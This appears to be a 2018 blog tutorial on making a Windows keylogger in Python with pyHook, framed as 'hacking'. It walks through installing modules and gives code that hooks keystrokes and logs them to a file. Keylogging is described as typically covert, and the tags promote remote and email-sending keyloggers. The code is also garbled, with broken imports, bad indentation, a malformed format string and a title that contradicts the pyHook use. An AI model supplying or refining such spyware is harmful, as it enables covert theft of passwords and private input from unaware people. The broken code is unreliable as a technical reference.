Friday, November 30, 2018

make your own keylogger in python | python keylogger without pyhook | Step-by-Step

Hi Guys!

                      If you've been searching for "how to make a simple keylogger with python" you are on right place.  Here I will show you how to start with your keylogger making and hacking.





Before we start we should know what is keylogging and its,

Introduction:

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogging can also be used to study human–computer interaction.

Things Required For Making the Keylogger 

 

1) Python

Here we are going to use python as the programming language for our keylogger making.

Why python?
Python tries to give you only one or a few ways to do things, and those ways are designed to be simple, even at the cost of some language power or running efficiency.

In many cases, Python's philosophy is an advantage because it lets you get most tasks done more easily and more quickly with less mental overhead.


How to install python ?
To install python click the Downloads > Windows link from the home page of the Python.org web site . The Windows version is provided as an MSI package. To install it manually, just double-click the file.


 2) Python Modules

We use python modules pywin32 and pyHook in our keylogger.

What is a module?
Simply, a module is a file consisting of Python code. A module can define functions, classes and variables.

How to install these modules ? 
To install these modules type in your command prompt or terminal.

pip install pywin32

This will let you install pywin32 module.Also install the pyhook module by typing below code.

pip install pyhook

What are the uses of these modules?

Pywin32 -
 A set of extension modules that provides access to many of the Windows API functions
Pyhook-
 The pyHook library wraps the low-level mouse and keyboard hooks in the Windows Hooking API for use in Python applications.Simply It helps to trigger some action when the user clicks the mouse or press some keys in the keyboard.

3) Text Editor

We need a text editor for editing our code . You can simply use notepad available in your windows system..



Now Open your text editor and then make a file named as you like. The extension of the file should be .py. That is your file name should be like myfile.py

Now paste the below codes ( Only code and not the explanation )

Code

First we should import  the modules to be used in our code for that we use the following two lines of python code

import logging, sys,
import
pythoncom , pyHook

file_log = 'C:\\imp\\log.txt'
Above  line of code will mention to what file we are going to log the keystrokes 

Now we have to create a function that moniter our keyboard Events

 def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True  


Now we use pyhook to trigger our  function when the user press a key on the keyboard

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()




Full code of python keylogger 

The full code in your python file will be
import logging, sys,
import
pythoncom , pyHook
file_log = 'C:\\imp\\log.txt'

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
        return True 


hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
  


 

Running the python keylogger  

 To run a python file just open your command prompt or terminal and type python followed by your filename and press enter.
Suppose if your file name is mykeyloggercode.py  then type python mykeyloggercode.py and press enter
 

How to see the logged keys of keylogger?

To see the result of your keylogger that is the logged keys you just need to open the file 'C:\\imp\\log.txt'



That's it, you have done!!!


Study our other informational posts.

Join this weblog through e-mail.

Thanks for giving your treasured time !

Hold on journeying.




Tags:
    python 3.6 keylogger. python keylogger mac. python keylogger github. python keylogger without pyhook. python 3 keylogger. python keylogger download. how to make a keylogger. python keylogger linux. python keylogger github. python keylogger mac. python 3.6 keylogger. python keylogger without pyhook. python 3 keylogger. python keylogger linux. python keylogger email. how to make a keylogger. actual keylogger download. free remote keylogger download full version. keylogger free download full version. keylogger download for android. best keylogger. revealer keylogger free. best free keylogger. danusoft free keylogger. how to make a keylogger in notepad. how to make a keylogger in python. python keylogger mac.how to make a keylogger for android. python 3.6 keylogger. how to make a keylogger in c++. how to make a keylogger that sends emails. how to make a remote keylogger in notepad.    
###: I found the code from internet.
Related Posts